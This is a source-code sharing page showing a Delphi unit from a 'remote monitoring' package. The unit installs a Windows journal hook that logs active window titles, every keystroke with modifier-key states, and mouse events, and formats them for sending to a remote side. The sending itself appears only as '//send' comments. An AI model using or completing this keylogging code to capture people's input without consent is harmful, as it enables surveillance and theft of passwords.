开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Windows编程 > 控制台编程 > 查看源码
MouseKeyboardMon.pas
资源名称：计算机远程监控.rar　[点击查看]
上传用户：rickyhu
上传日期：2007-05-27
资源大小：842k
文件大小：2k
源码类别：

控制台编程

开发平台：

Delphi

MouseKeyboardMon.pas：源码内容
  1. ///////////////////////////////////////////////////////////////////////////////
  2. //
  3. // 2004 (C) Copyrights Reserved 
  4. // Author:Huang Qiang
  5. //
  6. ////////////////////////////////////////////////////////////////////////////////
  7. unit MouseKeyboardMon;
  9. interface
  11. uses
  12.   Windows, Messages, SysUtils;
  14.   function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
  16. implementation
  18. uses Main;
  20. function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
  21. var
  22.   vKey:Integer;
  23.   FocusWnd:HWND;
  24.   ConKeyState:array [0..4] of Char;
  25.   Title:array[0..255] of Char;
  26.   pEvt:^EVENTMSG;
  27.   StrInfo:String;
  28. begin
  29.   if(iCode<0)then
  30.   begin
  31.     Result:=CallNextHookEx(MonHook,iCode,wParam,lParam);
  32.     exit;
  33.   end;
  34.   if(iCode=HC_ACTION) then
  35.   begin
  36.     pEvt:=Pointer(DWord(lParam));
  37.     FocusWnd:=GetActiveWindow;
  38.     if(LastFocusWnd<>FocusWnd) then
  39.     begin
  40.       GetWindowText(FocusWnd,Title,256);
  41.       LastFocusWnd:=FocusWnd;
  42.       StrInfo:='10|'+String(Title);
  43.       //////////////////////
  44.       //send
  45.       //////////////////////
  46.     end;
  47.     if((pEvt.message=256)or(pEvt.message=257)) then
  48.     begin
  49.       vKey:=LOBYTE(pEvt.paramL);
  50.       //control key
  51.       if(GetKeyState($11)<0) then
  52.         ConKeyState[0]:='1'
  53.       else
  54.         ConKeyState[0]:='0';
  55.       //alt key
  56.       if(GetKeyState($12)<0) then
  57.         ConKeyState[1]:='1'
  58.       else
  59.         ConKeyState[1]:='0';
  60.       //shift key
  61.       if(GetKeyState($10)<0) then
  62.         ConKeyState[2]:='1'
  63.       else
  64.         ConKeyState[2]:='0';
  65.       //caps lock key
  66.       if(GetKeyState($14)<>0) then
  67.         ConKeyState[3]:='1'
  68.       else
  69.         ConKeyState[3]:='0';
  70.       //num lock key
  71.       if(GetKeyState($90)<>0) then
  72.         ConKeyState[4]:='1'
  73.       else
  74.         ConKeyState[4]:='0';
  76.       StrInfo:='6'+IntToStr(pEvt.message-256)+'|'
  77.         +IntToHex(vKey,2)+'|'+String(ConKeyState);
  78.       //send
  79.     end
  80.     else if(pEvt.message>=512)and(pEvt.message<=521) then
  81.     begin
  82.       StrInfo:='7'+IntToStr(pEvt.message-512)+'|'
  83.         +IntToHex(pEvt.paramL,2)+'|'+IntToHex(pEvt.paramH,2);
  84.       //send
  85.     end;
  86.   end;
  87.   Result:=CallNextHookEx(MonHook, iCode, wParam, lParam);
  88. end;
  90. end.